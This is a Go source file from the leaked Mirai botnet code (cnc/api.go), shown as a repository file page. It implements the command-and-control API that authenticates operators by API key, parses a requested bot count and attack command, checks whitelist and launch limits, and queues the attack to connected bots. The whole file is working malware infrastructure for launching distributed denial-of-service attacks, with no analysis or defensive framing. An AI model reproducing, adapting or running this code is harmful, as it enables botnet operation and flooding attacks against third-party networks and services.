Mirai-Source-Code/mirai/cnc/api.go

93 lines
2.4 KiB
Go
Executable File

package main
import (
"net"
"time"
"strings"
"strconv"
)
type Api struct {
conn net.Conn
}
func NewApi(conn net.Conn) *Api {
return &Api{conn}
}
func (this *Api) Handle() {
var botCount int
var apiKeyValid bool
var userInfo AccountInfo
// Get command
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
cmd, err := this.ReadLine()
if err != nil {
this.conn.Write([]byte("ERR|Failed reading line\r\n"))
return
}
passwordSplit := strings.SplitN(cmd, "|", 2)
if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {
this.conn.Write([]byte("ERR|API code invalid\r\n"))
return
}
botCount = userInfo.maxBots
cmd = passwordSplit[1]
if cmd[0] == '-' {
countSplit := strings.SplitN(cmd, " ", 2)
count := countSplit[0][1:]
botCount, err = strconv.Atoi(count)
if err != nil {
this.conn.Write([]byte("ERR|Failed parsing botcount\r\n"))
return
}
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
this.conn.Write([]byte("ERR|Specified bot count over limit\r\n"))
return
}
cmd = countSplit[1]
}
atk, err := NewAttack(cmd, userInfo.admin)
if err != nil {
this.conn.Write([]byte("ERR|Failed parsing attack command\r\n"))
return
}
buf, err := atk.Build()
if err != nil {
this.conn.Write([]byte("ERR|An unknown error occurred\r\n"))
return
}
if database.ContainsWhitelistedTargets(atk) {
this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n"))
return
}
if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {
this.conn.Write([]byte("ERR|Attack cannot be launched\r\n"))
return
}
clientList.QueueBuf(buf, botCount, "")
this.conn.Write([]byte("OK\r\n"))
}
func (this *Api) ReadLine() (string, error) {
buf := make([]byte, 1024)
bufPos := 0
for {
n, err := this.conn.Read(buf[bufPos:bufPos+1])
if err != nil || n != 1 {
return "", err
}
if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
bufPos--
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
return string(buf[:bufPos]), nil
}
bufPos++
}
return string(buf), nil
}